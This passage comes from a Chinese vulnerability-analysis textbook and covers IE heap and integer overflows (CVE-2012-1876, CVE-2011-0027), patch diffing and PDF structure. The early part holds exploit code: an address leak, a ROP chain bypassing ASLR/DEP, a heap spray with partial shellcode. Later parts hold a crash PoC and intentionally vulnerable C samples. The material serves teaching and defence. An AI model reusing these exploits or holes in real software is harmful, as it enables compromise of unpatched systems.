    {"text": "图3-33 漏洞利用原理 覆盖BSRC的头部的长度值后（被覆盖为0x1004，该值是由wigth * 100得来的，具体见漏洞分析 部分），再通过JavaScript读取该字符串，此时就包括CButtonLayout虚表指针。 function over_trigger() { var leak_addr = -1; for ( var i = 0; i < 500; i++ ) { if ( arr[i].length > (0x100-6)/2 ) { // overflowed leak_index = i; var leak = arr[i].substring((0x100-6)/2+(2+8)/2, (0x100-6)/2+(2+8+4)/2); leak_addr = parseInt( leak.charCodeAt(1).toString(16) + leak.charCodeAt(0). toString(16), 16 ); alert(\"CButtonLayout 虚表指针：0x\"+leak_addr.toString(16)); mshtmlbase = leak_addr - Number(0x001582b8); alert(\"mshtml 基址：0x\"+mshtmlbase.toString(16)); 154 漏洞战争：软件漏洞分析精要 break; } } 以上代码通过遍历arr数组，找到BSRC字符串长度大于(0x100-6)/2的BSRC字符串，找到后通过 固定偏移(0x100-6)/2+(2+8)/2的长度找到CButtonLayout虚表指针的位置，其中0x100-6是指去掉 BSTR 的4字节长度值和2字节终止符，(2+8)是指2字节终止符与8字节堆指针，因为是Unicode字符串， 所以都除以2作为长度值计算。"},
    {"text": "通过JavaScript读取字符串后即可得到CButtonLayout虚表指针0x69743af8，这与IE弹框得到的地 址是一致的，如图3-34所示。 而CButtonLayout虚表指针与mshtml基址的偏移量是固定的，在不同版本的系统里该偏移量可能 是不同的，甚至不同的语言版本也是有差异的，比如英文版Windows 7 + IE8可能为0x1582b8，而在 笔者的中文版Windows 7 + IE8 环境中该偏移量为0x00173af8，在IE中的执行效果如图3-35所示。 图3-34 成功获取CButtonLayout虚表指针地址 图3-35 成功获取mshtml基址 在WinDbg下确认mshtml基址，确实与图3-35所示的地址一致。"},
    {"text": "0:007> ? 0x69743af8-0x173af8 Evaluate expression: 1767702528 = 695d0000 0:007> lmm mshtml start end module name 695d0000 69b82000 mshtml (pdb symbols) C:\\Program Files\\Debugging Tools for Windows (x86)\\sym\\mshtml.pdb\\5B825981E9B445BBB998A27119FF0D6E2\\mshtml.pdb 获取mshtml基址后，就可通过基址偏移构造ROP指令，以绕过ASLR与DEP的保护。"},
    {"text": "function heap_spray(){ CollectGarbage(); var heapobj = new Object(); // generated with mona.py (mshtml.dll v) function rop_chain(mshtmlbase){ var arr = [ mshtmlbase + Number(0x00001031), // retn mshtmlbase + Number(0x00002c78), // pop ebp; retn mshtmlbase + Number(0x0001b4e3), // xchg eax,esp; retn (pivot) mshtmlbase + Number(0x00352c8b), // pop eax; retn 158 漏洞战争：软件漏洞分析精要 mshtmlbase + Number(0x00001340), // ptr to &VirtualAlloc() [IAT] mshtmlbase + Number(0x00124ade), // mov eax,[eax]; retn mshtmlbase + Number(0x000af93e), // xchg eax,esi; and al,0; xor eax,eax; retn mshtmlbase + Number(0x00455a9c), // pop ebp; retn mshtmlbase + Number(0x00128b8d), // & jmp esp mshtmlbase + Number(0x00061436), // pop ebx; retn 0x00000001, // 0x00000001-> ebx mshtmlbase + Number(0x0052d8a3), // pop edx; retn 0x00001000, // 0x00001000-> edx mshtmlbase + Number(0x00003670), // pop ecx; retn 0x00000040, // 0x00000040-> ecx mshtmlbase + Number(0x001d263d), // pop edi; retn mshtmlbase + Number(0x000032ac), // retn mshtmlbase + Number(0x00352c9f), // pop eax; retn 0x90909090, // nop mshtmlbase + Number(0x0052e805), // pushad; retn 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, ]; return arr; } function d2u(dword){ var uni = String.fromCharCode(dword & 0xFFFF); uni += String.fromCharCode(dword>>16); return uni; } function tab2uni(heapobj, tab){ var uni = \"\" for(var i=0;i<tab.length;i++){ uni += heapobj.d2u(tab[i]); } return uni; } heapobj.tab2uni = tab2uni; heapobj.d2u = d2u; 第3章 堆溢出漏洞分析 159 heapobj.rop_chain = rop_chain; var code = unescape(\"%u40b0%u414b%u1d24%ub4a8%u7799%ube37%ua947%ud41a%u353f%ueb30%ud133……省略部分 内容…… %u1d60%u994b%udef4%ue624%udf18%ub0b4%udf72%u64dc%u8c26%u6af9%ua0f3%uff51%u90fb%ua806%u1 e93%u9e70%ue03c%u1e57%u3701%ua49e%u3d73%u64f2\"); var rop_chain = heapobj.tab2uni(heapobj, heapobj.rop_chain(mshtmlbase)) ; var shellcode = rop_chain + code while (shellcode.length < 100000) shellcode = shellcode + shellcode; var onemeg = shellcode.substr(0, 64*1024/2); for (i=0; i<14; i++) { onemeg += shellcode.substr(0, 64*1024/2); } onemeg += shellcode.substr(0, (64*1024/2)-(38/2)); var spray = new Array(); for (i=0; i<400; i++) { spray[i] = onemeg.substr(0, onemeg.length); } } 为了控制程序的执行流程，我们还需要进行第二次溢出。"},
    {"text": "IE9之后采用Nozzle保护机制来防止堆喷射，它会阻止垃圾BSTR的分配，使其分配在另外单独 的堆块，以致在溢出后无法覆盖到前面的CbuttonLayout对象内存。"},
    {"text": "在XCon 2013安全峰会上，KEEN 安全团队发布了Windows 7 + IE9/10/11平台上的CVE-2012-1876漏洞利用技巧，他们采用VBArray技 术 绕 过 保 护 ， 演 讲 文 档 及 Exploit 代 码 可 从 GitHub 上 下 载 ， 链 接 为 https://github.com/k33nteam/ IE9-IE11-Vulnerability-Advanced-Exploitation。"},
    {"text": "3.7.5 漏洞修复 通过微软官方下载MS12-037补丁，安装后我们用WinDbg动态调试，很容易发现微软的修补方式： 当span被更改时，程序就重新分配相应大小的堆块，而不再跟之前一样共用一个堆块。 通过前面的 漏 洞 分 析 ， 已 经 知 道 分 配 堆 块 的 函 数 位 于 CImplAry::EnsureSizeWorker ， 执 行 命 令 bu CImplAry::EnsureSizeWorker对它下断，观察span更改前后的堆块分配情况，很容易发现它的修复方 法。 首次调用时，在poc.html中span的值为1，即下面的eax值： 0:005> p eax=00000001 ebx=00464ce8 ecx=00000000 edx=00000001 esi=00464d78 edi=00464d78 eip=6b270363 esp=0264bff4 ebp=0264c09c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CTableLayout::CalculateMinMax+0x1fc: 162 漏洞战争：软件漏洞分析精要 6b270363 e85e9c0c00 call mshtml!CImplAry::EnsureSizeWorker (6b339fc6) 0:005> gu eax=00000000 ebx=00464ce8 ecx=778e22ae edx=00386668 esi=00464d78 edi=00464d78 eip=6b270368 esp=0264bff8 ebp=0264c09c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CTableLayout::CalculateMinMax+0x208: 6b270368 85c0 test eax,eax 0:005> dd ebx+9c 00464d84 00418718 00000000 00000000 00000000 00464d94 00000000 00000000 00000000 00000000 00464da4 00000000 000000c8 000000c8 00000000 00464db4 00000000 00000000 00000000 00000000 00464dc4 00000000 00000000 00000000 00000000 00464dd4 00000000 00000000 00000000 00000000 00464de4 00000000 00000000 00000000 ffffffff 00464df4 00000001 00000000 00000000 00000000 0:005> !heap -p -a 00418718 address 00418718 found in _HEAP @ 380000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 00418710 000f 0000 [00] 00418718 00070 - (busy) 通过JavaScript更改span后，程序会重新分配相应大小的堆块0x00469ee0，与前面的0x00418718 已不是同一个堆块： 0:005> g Breakpoint 2 hit eax=00000000 ebx=00464ce8 ecx=778e349f edx=00382998 esi=00464d78 edi=00464d78 eip=6b270368 esp=0264b810 ebp=0264b8b4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CTableLayout::CalculateMinMax+0x208: 6b270368 85c0 test eax,eax 0:005> dd ebx+9c 00464d84 00469ee0 00000000 00000000 00000000 00464d94 00000000 00000000 00000000 00000000 00464da4 00000000 000000c8 000000c8 00000000 00464db4 00000000 00000000 00000000 00000000 00464dc4 00000000 00000000 00000000 00000000 00464dd4 00000000 00000000 00000000 00000000 00464de4 00000000 00000000 00000000 ffffffff 00464df4 00000002 00000000 00000000 00000000 0:005> !heap -p -a 00469ee0 第3章 堆溢出漏洞分析 163 address 00469ee0 found in _HEAP @ 380000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 00469ed8 0dad 0000 [00] 00469ee0 06d60 - (busy) 0:005> ? 6d60/1c Evaluate expression: 1000 = 000003e8 3.8 小结 本章主要以一些经典的堆溢出漏洞实例讲解堆溢出漏洞的原理、分析方法，以及在对文件格式 不熟悉的情况，通过一些文件格式资料找到漏洞相关的格式字段的方法。"},
    {"text": "在分析本章的漏洞时，笔者也针对其中一些经典漏洞利用技巧进行分析，特别是VUPEN安全组 织公开的Exploit技巧，也是相当有学习价值的。 本书主要是以分析漏洞成因及修复为主，只有一些 经典的Exploit技术才会进行详细分析，一方面是考虑到篇幅有限，另一方面是考虑可能导致的法律 问题，不足之处，还请读者见谅。"},
    {"text": "164 漏洞战争：软件漏洞分析精要 第 4 章 整数溢出漏洞分析 4.1 整数溢出简史 最早记录整数溢出原理的是2002年12月出版的 Phrack 黑客杂志上的文章 Basic Integer Overflows （详见：http://www.phrack.org/issues.html?issue=60&id=10#article）。 同期，一篇讲述整数溢出的文 章叫作 Big Loop Integer Protection ，里面对整数溢出的原理进行了详细分析，同时对利用技巧、防御 方案均有所介绍。"},
    {"text": "虽然文章是2002年才出现的，但是根据CVE的记载，最早的整数溢出漏洞是2000年 发现的CVE-2000-1219漏洞（GCC/G++ -ftrapv编译选项整数溢出）。"},
    {"text": "关于整数溢出的利用，与堆、栈溢出的方法类似，主要是先构造相应数值造成整数溢出，然后 根据溢出内存是在堆上还是栈上采取不同的利用方法，与前两章介绍的方法类似。 关于整数溢出的 详细原理及Exploit技巧请参见本章内容。 4.2 整数溢出原理 整数分为有符号和无符号两种类型，有符号数以最高位作为其符号位，即正整数最高位为1，负 整数最高位为0，而无符号数无此类情况，它的取值范围是非负数。"},
    {"text": "不同类型的整数在内存中均有不同的固定取值范围（如表4-1所示，以VC 6.0中定义 的整数变量取值范围为例），当我们向其存储的数值超过该类型整数的最大值，就会导致整数溢出， 比如unsigned short的存储范围是0~65535，但当存储的值超过65535时，数据就会截断，例如输入 65536，系统就会识别为0。"},
    {"text": "表4-1 VC 6.0中定义的整数变量取值范围 类型 占用字节数 取值范围 int 4 -2147483648 ~ 2147483647 漏洞战争：软件漏洞分析精要 第4章 整数溢出漏洞分析 165 续表 类型 占用字节数 取值范围 short int 2 -32768 ~ 32767 long int 4 -2147483648 ~ 2147483647 unsigned int 4 0 ~ 4294967295 unsigned short int 2 0 ~ 65535 unsigned long int 4 0 ~ 4294967295 4.2.1 基于栈的整数溢出 下面举个基于栈的整数溢出的例子，代码如下： #include \"stdio.h\" #include \"string.h\" int main(int argc, char *argv){ int i; char buf[8]; // 栈缓冲区 unsigned short int size; // 无符号短整数取值范围：0 ~ 65535 char overflow[65550]; memset(overflow,65,sizeof(overflow)); // 填充为“A”字符 printf(\"请输入数值:\\n\"); scanf(\"%d\",&i); size = i; printf(\"size：%d\\n\",size); // 输出系统识别出来的 size 数值 printf(\"i：%d\\n\",i); // 输出系统识别出来的 i 数据 if (size > 8) // 边界检查 return -1; memcpy(buf,overflow,i); // 栈溢出 return 0; } 上述代码中size变量为无符号短整数，取值范围为0 ~ 65535，当我们输入的值大于65535时就会 166 漏洞战争：软件漏洞分析精要 造成溢出，比如65540，最后得到size为4，从而绕过边界检查，但在用memcpy复制数据时，却是使 用int类型的i参数，该值仍为65540，最终导致栈溢出，如图4-1所示。 图4-1 基于栈的整数溢出示例 4.2.2 基于堆的整数溢出 下面我们再看下基于堆的整数溢出示例，代码如下： #include \"stdio.h\" #include \"windows.h\" int main(int argc, char * argv) { int* heap; unsigned short int size; // 无符号短整数取值范围：0 ~ 65535 char *pheap1, *pheap2; HANDLE hHeap; printf(\"输入 size 数值：\\n\"); scanf(\"%d\",&size); hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS, 0x100, 0xfff); if (size <= 0x50) { 第4章 整数溢出漏洞分析 167 size -= 5; printf(\"size：%d\\n\",size); pheap1 = HeapAlloc(hHeap, 0, size); pheap2 = HeapAlloc(hHeap, 0, 0x50); } HeapFree(hHeap, 0, pheap1); HeapFree(hHeap, 0, pheap2); return 0; } 上述代码中的size为unsigned short int整数类型，当它小于5时，比如size=2，size减去5会得到负 数，但由于unsigned short int取值范围的限制导致无法识别负数，反而得到正数65533，最后分配到过 大的堆块，从而导致溢出覆盖到后面的堆管理结构，如图4-2所示。"},
    {"text": "图4-2 基于堆的整数溢出示例 4.3 CVE-2011-0027 Microsoft Data Access Components整 数溢出漏洞 4.3.1 在Pwn2Own黑客大赛上用于攻破IE8的漏洞 在Pwn2Own 2010黑客大赛中，荷兰黑客Peter Vreugdenhil利用CVE-2011-0027 Microsoft Data Access Components（MDAC）的堆溢出漏洞攻破Windows 7上的IE8浏览器，他利用信息泄露和ROP 168 漏洞战争：软件漏洞分析精要 绕过ASLR和DEP的保护，从而赢得高额奖金。"},
    {"text": "由于MDAC没有正确验证内部数 据结构的内存分配，所以当RecordSet中用于指定缓冲区大小的CacheSize属性过大时会导致整数溢 出，造成实际分配的内存空间小于原来指定的内存空间，漏洞是在堆上导致的溢出，因此最后会造 成堆溢出漏洞。"},
    {"text": "表4-2 测试环境 推荐使用的环境 备注 操作系统 Windows 7 简体中文旗舰版 虚拟机工具 VM VisualBox 版本号：4.2.6 r82870 调试器 WinDbg 版本号：6.11.0001.404 反汇编器 IDA Pro 版本号：6.1 由于IE在处理XML元素时会使用到MDAC组件，因此可以在IE中构造网页来触发漏洞。"},
    {"text": "本次分 析所用的PoC代码如下： //poc.html <html xmlns:t = \"urn:schemas-microsoft-com:time\"> <script language='javascript'> function Start() { localxmlid1 = document.getElementById('xmlid1').recordset; // 获取 xml 元素 xmlid1 的 recordset，即数据库表的记录集 localxmlid1.CacheSize = 0x40000358; // 设置能够被保存的记录条数 for ( var i=0; i<0x100000; i++) { localxmlid1.AddNew([\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"], [\"c\"]); // 创建新记录 localxmlid1.MoveFirst(); // 把记录指针移动到第一条 } } </script> <body onLoad=\"window.setTimeout(Start,100);\" id=\"bodyid\"> <?xml version=\"1.0\" encoding=\"utf-8\" standalone=\"yes\"?> <XML ID=\"xmlid1\"> 第4章 整数溢出漏洞分析 169 <Devices> <Device> <AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA /> </Device> </Devices> </XML> </body> </html> 有时为了快速定位漏洞点，需要定位JavaScript函数对应的IE函数，比如我们为了确定获取xml 元素的recordset所对应的IE类方法，先给大家介绍一些小技巧。"},
    {"text": "当然，在本漏洞分析中不使用这些方 法也是可行的，但在后面分析IE漏洞时可能比较有用，这些也是刚接触IE漏洞分析的朋友经常提到 的问题，因此这里单独拿出来提下。"},
    {"text": "比如，可以通过在站点http://www.geoffchappell.com进行搜索， 该站提供IE类及其属性、方法的列表，但属于旧版，并不是最完整的，不过依然有参考价值。"},
    {"text": "由于 这 个 站 点 没 有 直 接 提 供 搜 索 功 能 ， 因 此 笔 者 通 过 Google 来 搜 索 ： recordset site:http://www. geoffchappell.com/，最终得到3条搜索结果，如图4-3所示。"},
    {"text": "图4-3 通过Google搜索获取recordset的函数 这3个函数分别如下： CObjectElement::get_recordset CEventObj::get_recordset CGenericElement::get_recordset 由于PoC中获取的是xml元素的recordset，因此可以把CEventObj类先去掉，然后用WinDbg附加IE 170 漏洞战争：软件漏洞分析精要 进程，并对CObjectElement::get_recordset和CGenericElement::get_recordset下断点。 运行后，最后被断 在 CGenericElement::get_recordset 函 数 ， 说 明 PoC 中 获 取 recordset 时 ， 调 用 的 是 CGenericElement:: get_recordset函数： Breakpoint 1 hit eax=0046b710 ebx=68ce8adc ecx=68bfe3d4 edx=00000000 esi=00001200 edi=01b77598 eip=68bfe3d4 esp=0204f464 ebp=0204f480 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CGenericElement::get_recordset: 68bfe3d4 8bff mov edi,edi 通过站点的信息不够完整，因此有时未能找到需要的信息，此时借助微软的符号表在IDA中搜 索是最合适的，但前提是需要知道搜索的函数在哪个DLL中，比如CVE-2011-0027这个漏洞，其中负 责处理ado的是msado15.dll这个文件，通过百度、Google很容易找到答案。"},
    {"text": "我们用IDA加载msado15.dll， 并允许加载微软符号表，然后选中“Function name”一栏，按“Alt + T”组合键弹出搜索框，如 图4-4所示，输入搜索关键字“cachesize”，按“Ctrl+T”组合键可继续搜索下一个，根据函数名猜 测下面的函数可能就是用于设置和获取cachesize属性值的，如图4-5所示。"},
    {"text": "CRecordset::put_CacheSize(long *) CRocordset::get_CacheSize(long) 图4-4 通过IDA搜索函数名 图4-5 获取与设置CacheSize属性的函数 第4章 整数溢出漏洞分析 171 重新加载IE进程，并设置以下断点： bu CRecordset::put_CacheSize bu CRecordset::get_CacheSize 运行后打开poc.html，断在put_CacheSize，通过查看参数可以看到poc.html中设置的CacheSize值 0x40000358，说明CRecordset::put_CacheSize确实是设置CacheSize值的函数： 0:005> g Breakpoint 1 hit eax=40000358 ebx=04bdcfd8 ecx=6e61d340 edx=00000000 esi=01fbf144 edi=00000000 eip=6e6ac957 esp=01fbeb58 ebp=01fbf040 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 msado15!CRecordset::put_CacheSize: 6e6ac957 8bff mov edi,edi 0:005> dd esp 01fbeb58 6e62f3ec 04bdcfd8 40000358 00000000 01fbeb68 01fbf074 04bdcfd8 11000011 00000000 01fbeb78 03570ae8 004ad070 00538a30 00000088 01fbeb88 00470000 00000002 03570760 01fbec84 01fbeb98 76fc3193 00470138 76fc316f 764736b8 01fbeba8 00000000 00470000 03570768 00518a78 01fbebb8 004767b8 004768e4 00559258 00476db8 01fbebc8 76f8d74d 0051d968 00472a98 01fbedc0 继续运行后就触发异常了，此次并没有调用到CRecordset::get_CacheSize： (37c.640): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000371 ebx=04bde658 ecx=04bd0000 edx=04bde658 esi=526ce790 edi=04bde650 eip=76fc1ffe esp=01fbe8e4 ebp=01fbe918 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 ntdll!RtlpLowFragHeapFree+0x31: 76fc1ffe 8b4604 mov eax,dword ptr [esi+4] ds:0023:526ce794=???????? 通过上面的同类方法也可以找出poc.html中的localxmlid1.AddNew会调用CRecordset:: AddNew来 处理，而localxmlid1.MoveFirst会调用CRecordset:: MoveFirst来处理。"},
    {"text": "先为IE进程设置页堆，如图4-6所示，然后打开poc.html， 断在如下位置： (7b8.278): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. 172 漏洞战争：软件漏洞分析精要 eax=0000036b ebx=0000035b ecx=00000000 edx=00000001 esi=088c8000 edi=00000000 eip=6887746f esp=044dee84 ebp=044dee88 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 mshtml!CImpIRowset::HRowNumber2HROWQuiet+0x23: 6887746f 8906 mov dword ptr [esi],eax ds:0023:088c8000=???????? 0:005> !heap -p -a 088c8000 address 088c8000 found in _DPH_HEAP_ROOT @ 8821000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 88227ec: 88c7298 d64 - 88c7000 2000 72eb8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 77034ea6 ntdll!RtlDebugAllocateHeap+0x00000030 76ff7d96 ntdll!RtlpAllocateHeap+0x000000c4 76fc34ca ntdll!RtlAllocateHeap+0x0000023a 730d975d MSDART!MpHeapAlloc +0x00000029 6e5406e7 msado15! CRecordGroup::AllocateHRowRange+0x00000085 6e540650 msado15!CRecordset::PrepareForFetch+0x000000e2 6e5d44ae msado15!CRecordset::MoveAbsolute+0x000003e3 6e5680a5 msado15!CRecordset::_MoveFirst+0x0000007d 6e5d7957 msado15! CRecordset::MoveFirst +0x00000221 6e54fde6 msado15!CRecordset::Invoke+0x00001560 71dcdb38 jscript!IDispatchInvoke2+0x000000f0 71dcda8c jscript!IDispatchInvoke+0x0000006a 71dcd9ff jscript!InvokeDispatch+0x000000a9 71dcdb8a jscript!VAR::InvokeByName+0x00000093 71dcd8c8 jscript!VAR::InvokeDispName+0x0000007d 71dcd96f jscript!VAR::InvokeByDispID+0x000000ce 71dce3e7 jscript!CScriptRuntime::Run+0x00002b80 71dc5c9d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce 71dc5bfb jscript!ScrFncObj::Call+0x0000008d 71dc5e11 jscript!CSession::Execute+0x0000015f 71dbf3ee jscript!NameTbl::InvokeDef+0x000001b5 71dbea2e jscript!NameTbl::InvokeEx+0x0000012c 71db96de jscript!NameTbl::Invoke+0x00000070 685aaa7b mshtml!CWindow::ExecuteTimeoutScript+0x00000087 685aab66 mshtml!CWindow::FireTimeOut+0x000000b6 685d6af7 mshtml!CStackPtrAry<unsigned long,12>::GetStackSize+0x000000b6 685d1e57 mshtml!GlobalWndProc+0x00000183 770e86ef USER32!InternalCallWinProc+0x00000023 第4章 整数溢出漏洞分析 173 770e8876 USER32!UserCallWinProcCheckWow+0x0000014b 770e89b5 USER32!DispatchMessageWorker+0x0000035e 770e8e9c USER32!DispatchMessageW+0x0000000f 图4-6 为IE进程设置页堆 根据上面异常的信息，可以知道程序是在向地址为0x88c7298，大小0xd64的堆块写入数据时造 成 堆 溢 出 的 。"},
    {"text": "我 们 重 新 加 载 IE 进 程 ， 并 对 CRecordset::MoveFirst函数下断：bu CRecordset::MoveFirst，然后在调用MpHeapAlloc前的地址下断： bu CRecordGroup:: AllocateHRowRange+0x00000085（这个地址是从前面的!heap返回的栈回溯信息获 取到的）。"},
    {"text": "0:005> p eax=00000d64 ebx=40000358 ecx=096f0000 edx=096f2d34 esi=09759d70 edi=72de9730 eip=69da06de esp=0446eeec ebp=0446eef8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 msado15!CRecordGroup::AllocateHRowRange+0x7c: 69da06de 50 push eax // 堆块大小 =0xd64 0:005> p eax=00000d64 ebx=40000358 ecx=096f0000 edx=096f2d34 esi=09759d70 edi=72de9730 eip=69da06df esp=0446eee8 ebp=0446eef8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 176 漏洞战争：软件漏洞分析精要 msado15!CRecordGroup::AllocateHRowRange+0x7d: 69da06df 680000a000 push 0A00000h 0:005> p eax=00000d64 ebx=40000358 ecx=096f0000 edx=096f2d34 esi=09759d70 edi=72de9730 eip=69da06e4 esp=0446eee4 ebp=0446eef8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 msado15!CRecordGroup::AllocateHRowRange+0x82: 69da06e4 51 push ecx 0:005> p eax=00000d64 ebx=40000358 ecx=096f0000 edx=096f2d34 esi=09759d70 edi=72de9730 eip=69da06e5 esp=0446eee0 ebp=0446eef8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 msado15!CRecordGroup::AllocateHRowRange+0x83: 69da06e5 ffd7 call edi {MSDART!MpHeapAlloc (72de9730)} 总结下，该漏洞主要是由于对CacheSize整数值未做有效判断，导致经CacheSize*4+4造成整数溢 出，当以CacheSize*4+4结果作为分配堆块的大小时，因为分配过小堆块所以造成堆溢出。"},
    {"text": "在Pwn2Own黑客大赛上，Peter Vreugdenhil是将本漏洞与另一个IE UAF（use after free）漏洞结 合起来利用的（关于UAF漏洞，后面章节会有详细讲解），他通过本例溢出漏洞，将字符串终止符 覆盖掉，当通过JavaScript函数读取时，溢出堆块后面的虚表地址也会被获取到。"},
    {"text": "有兴趣的读者可 以查看网上公开的漏洞，或者直接用Meteploit生成，Peter Vreugdenhil也曾发布文章 Pwn2Own 2010 Windows 7 Internet Explorer 8 exploit 来分析这个漏洞的利用技巧，读者可自行网上搜索获取。"},
    {"text": "图4-7 CVE-2011-0027漏洞利用技巧示意图 4.3.3 补丁比较 从官方下载MS011-002的Windows 7版本的补丁安装后，提取修补后的msado15.dll与存在漏洞的 msado15.dll做补丁比较。"},
    {"text": "我们已经分析出漏洞主要出现在CRecordGroup::AllocateHRowRange函数中， 因此直接用BinDiff对比补丁前后该漏洞函数的情况。 第4章 整数溢出漏洞分析 177 根据图4-8的补丁比较情况，可以发现左边修补后的程序对edi进行了判断，将经CacheSize*4+4 计算后的值（即edi）与0xFFFFFFFF做了无符号比较，只有当edi小于等于0xFFFFFFFF时才进行堆块 分配，从而防止发生整数溢出。"},
    {"text": "图4-8 补丁比较 在一些数据比较跳转时，经常会遇到一些无符号或者有符号的比较跳转指令，为方便读者学习， 这里归类成表列出来，如表4-3所示。"},
    {"text": "表4-3 有符号与无符号的比较跳转指令 有符号指令 无符号指令 描述 JG JA 大于则跳转 JNG JNA 不大于则跳转 JGE JAE 大于等于则跳转 JNGE JNAE 不大于等于则跳转 JL JB 小于则跳转 JNL JNB 不小于则跳转 JLE JBE 小于等于则跳转 JNLE JNBE 不小于等于则跳转 178 漏洞战争：软件漏洞分析精要 4.4 CVE-2012-0774 Adobe Reader TrueType字体整数溢出漏洞 4.4.1 漏洞描述 Adobe Reader与Adobe Acrobat 9.5.1之前的9.x版本和10.1.3之前的10.x版本中存在整数溢出漏洞， 攻击者可利用该漏洞借助特制的TrueType字体执行任意代码。"},
    {"text": "4.4.2 PDF文件格式与常用分析工具 在第2章中已经对PDF恶意文档有过分析，但没有系统地讲解PDF文件格式及常用的分析工具， 因 此 我 们 专 门 用 一 节 来 讲 解 。"},
    {"text": "首 先 ， 我 们 用 Didier Stevens 的 PDF-Tools 工 具 包 （ http://blog. didierstevens.com/programs/pdf-tools/）中的make-pdf-javascript.py工具生成一个简单的PDF文件，作为 此次的分析示例： python make-pdf-javascript.py test.pdf 上述命令会默认在PDF文件中插入alert弹框的JavaScript代码，在命令行执行上述命令就会在当 前目录生成test.pdf文件，打开后的效果如图4-9所示。 图4-9 生成的PDF测试文件 用文本编辑软件打开test.pdf，可以看到以下内容（已注释说明）： %PDF-1.1 # PDF 文件头，符合 PDF1.1 规范 第4章 整数溢出漏洞分析 179 1 0 obj # Object 对象，其中 1 为 Object 的索引号 Index，0 则为 Object 的版本号 Version，中 间用空格间隔 << # Object 数据开始标记 /Type /Catalog # 字典元素，/Type 代表键名，/Catalog 代表键值，即本对象为 Catalog 目录类型 /Outlines 2 0 R # 大纲（Outlines）对象代表 PDF 文件的书签树，它间接引用 Object 2 /Pages 3 0 R # 页面组（Pages）对象包含文件的页面数，它间接引用 Object 3 /OpenAction 7 0 R # 打开文档后自动执行的动作，这里执行 JavaScript 代码，间接引用 Object 7 >> # Object 数据结束标记 endobj # Object 结束关键字 2 0 obj << /Type /Outlines # 对象类型为 Outlines /Count 0 # 书签计数为 0 >> endobj 3 0 obj << /Type /Pages # 对象类型为 Pages /Kids [4 0 R] # 代表 PDF 第 1 页引用对象 4 /Count 1 # 页数 >> endobj 4 0 obj << /Type /Page # 对象类型为 Page /Parent 3 0 R # 父对象为 Obj 3 /MediaBox [0 0 612 792] # 页面的显示大小（以像素为单位） /Contents 5 0 R # 页面内容为对象 5 /Resources << # 该页包含的资源 /ProcSet [/PDF /Text] # PDF 包含文本内容 /Font << /F1 6 0 R >> # 字体类型为 F1，引用对象 6 >> >> endobj 5 0 obj << /Length 56 >> # 页面内容长度为 56 stream # 流对象的开始标记 180 漏洞战争：软件漏洞分析精要 BT # 文字对象的开始标记 /F1 12 Tf # 字体类型为 F1，大小 12 像素，为 True font 对象 100 700 Td 15 TL (JavaScript example) Tj # 文本位置（100，700）,文本内容为“JavaScript example”，用括号包含着 ET # 文字对象的结束标记 endstream # 流对象的结束标记 endobj 6 0 obj << /Type /Font # 字体对象类型 /Subtype /Type1 # Type1 字体子类型 /Name /F1 # 字体名称 /BaseFont /Helvetica # 字体为 Helvetica /Encoding /MacRomanEncoding # 字符编码为 MacRomanEncoding >> endobj 7 0 obj << /Type /Action # 动作对象 /S /JavaScript # 内嵌 JavaScript 脚本 /JS (app.alert({cMsg: 'Hello from PDF JavaScript', cTitle: 'Testing PDF JavaScript', nIcon: 3});) # 执行 alert 弹框，内容为“Hello from PDF JavaScript” >> endobj xref # 交叉引用表 0 8 # 对象号从 0 开始，共有 8 个对象 0000000000 65535 f # 对象 1，生成号 65535 代表对象可重复使用，f 代表自由对象 0000000012 00000 n # 对象 2，12 代表偏移量，0 代表该对象未被修改过，n 代表对象正在使用 0000000109 00000 n 0000000165 00000 n 0000000234 00000 n 0000000439 00000 n 0000000553 00000 n 0000000677 00000 n trailer # 文件尾对象 << /Size 8 # 对象数目 /Root 1 0 R # 根对象为 Object 1 第4章 整数溢出漏洞分析 181 >> startxref # 交叉引用表在 PDF 文件流中的偏移地址为 837 837 %%EOF # 文件结束标志 借助010editor的PDF模板可以很直观地分析PDF格式，如图4-10所示，但它分析的字段还不够详 尽，尤其是对象内的数据，有兴趣的读者可以改进下模板，其模板语法与C语言相近，还是比较容易 编写的。 图4-10 用010editor的PDF模板分析PDF文件格式 除了010editor外，还有许多常用的PDF分析工具，图4-11所示就是笔者平时经常使用的工具，其 